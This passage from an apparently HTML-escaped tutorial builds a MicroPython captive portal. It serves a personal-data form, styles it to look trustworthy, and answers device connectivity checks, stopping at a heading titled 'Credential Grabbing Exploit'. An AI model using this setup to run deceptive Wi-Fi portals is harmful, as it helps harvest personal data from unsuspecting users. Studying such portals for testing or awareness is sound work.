    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Email:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Name:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Surname:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"surname"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"checkbox"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"agree"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;I agree to the terms and conditions&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, in the phew app, change the source code to include the template and forward the &lt;code&gt;title&lt;/code&gt; parameter. Change the &lt;code&gt;start_portal&lt;/code&gt; method as shown:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;

&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest Wifi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The template is rendered - but without any styling, this looks rather untrustworthy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbtfw1fe4yfjk78jhzsm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbtfw1fe4yfjk78jhzsm.png" width="291" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Serving CSS
&lt;/h2&gt;

&lt;p&gt;Let’s add additional styling. Create the file &lt;code&gt;www/style.css&lt;/code&gt; with this content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;justify-content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;align-items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;flex-direction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100vh&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#f0f0f0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.box&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;*&lt;/span&gt;&lt;span class="nd"&gt;:first-child&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;align-self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;stretch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.form-container&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;400px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#ffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;box-shadow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt; &lt;span class="n"&gt;rgba&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"text"&lt;/span&gt;&lt;span class="o"&gt;],&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"email"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#ccc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"checkbox"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"submit"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#007bff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;white&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"submit"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="nd"&gt;:hover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#0056b3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To serve the CSS, a new route is required too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;style&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the site looks like a proper portal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftdwrydfe7i6osysziojn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftdwrydfe7i6osysziojn.png" width="398" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Client-Specific Routes
&lt;/h2&gt;

&lt;p&gt;Each client device - Android phones, iPhones, Windows/Linux/OsX laptops, require specific URL paths and expects a specific status code to "negotiate" with the captive portal.&lt;/p&gt;

&lt;p&gt;According to the original article that provided the idea, and the &lt;a href="https://en.wikipedia.org/wiki/Captive_portal#Detection" rel="noopener noreferrer"&gt;Wikipedia page&lt;/a&gt;, the following rules need to be kept:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OsX: &lt;code&gt;/hotspot-detect.html&lt;/code&gt; with the plain text content "Success"&lt;/li&gt;
&lt;li&gt;Android: &lt;code&gt;/generate_204&lt;/code&gt; with status code 204 and no content&lt;/li&gt;
&lt;li&gt;Windows: &lt;code&gt;/redirect&lt;/code&gt; with no content, and two routes that are accessed to test if the connected hotspot is a captive portal: &lt;code&gt;/connecttest.txt&lt;/code&gt; with the plain text content "Microsoft Connect Test", and &lt;code&gt;/ncsi.txt&lt;/code&gt; with "Microsoft NCSI" to cover current and past Windows versions,&lt;/li&gt;
&lt;li&gt;Linux: For gnome-based desktops &lt;code&gt;/check_network_status.txt&lt;/code&gt; with the plain text message "NetworkManager is online", and for KDE that’s &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;OK&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During tryout with Android and OsX, I found that returning the mentioned text content is not important, the presence of the route is sufficient. Also, browsers might request additional routes, for example a Firefox browser tries to resolve &lt;code&gt;/canonical.html&lt;/code&gt;. However, if this route is not present, it also does not interfere with the portal workflow process.&lt;/p&gt;

&lt;p&gt;Therefore, to implement the captive portal functions, a redirect to the portal landing page is implemented for the main routes, and other routes jus return a positive status code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hotspot-detect.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/generate_204&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/redirect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/check_network_status.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/ncsi.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/connecttest.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Credential Grabbing Exploit
&lt;/h2&gt;

